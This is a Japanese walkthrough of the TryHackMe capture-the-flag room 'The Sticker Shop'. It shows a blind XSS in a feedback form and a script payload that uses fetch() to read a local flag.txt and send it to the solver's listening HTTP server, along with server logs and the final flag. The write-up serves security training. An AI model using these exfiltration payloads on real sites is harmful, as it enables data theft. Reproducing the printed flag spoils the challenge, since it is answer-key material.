概要
TryHackMe「The Sticker Shop」のWalkthroughです。
Task1
Q1.What is the content of flag.txt?
Hint.Can you conduct any client-side exploitation in order to read the flag?
8080ポートのflag.txtにアクセスしてみると401が返ってきます。
ルートページにアクセスすると猫の画像が表示されます。
Feedbackページではテキストを送信できるようです。
XSSが出来るか試してみます。
<script src="ATTACKER_IP"></script>
ターゲットマシンからリクエストが飛んできたので<script></script>が動作しているようです。
Blind XSSが出来ると分かりました。
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.111.225 - - [17/Dec/2024 21:01:44] "GET / HTTP/1.1" 200 -
ローカルのflag.txtを取得し、フラグをURIにして自身のマシンにアクセスさせます。
<script>fetch('http://127.0.0.1:8080/flag.txt').then(r => r.text()).then(t => fetch(`http://10.6.55.144:1234/${encodeURIComponent(t)}`));</script>
HTTPサーバーを立てて待ち受けていると、URLエンコードしたフラグを取得できました。
$ python -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
10.10.111.225 - - [17/Dec/2024 22:39:07] code 404, message File not found
10.10.111.225 - - [17/Dec/2024 22:39:07] "GET /THM%7B83789a69074f636f64a38879cfcabe8b62305ee6%7D HTTP/1.1" 404 -
URLデコードをしてフラグを閲覧出来ました。
A.THM{83789a69074f636f64a38879cfcabe8b62305ee6}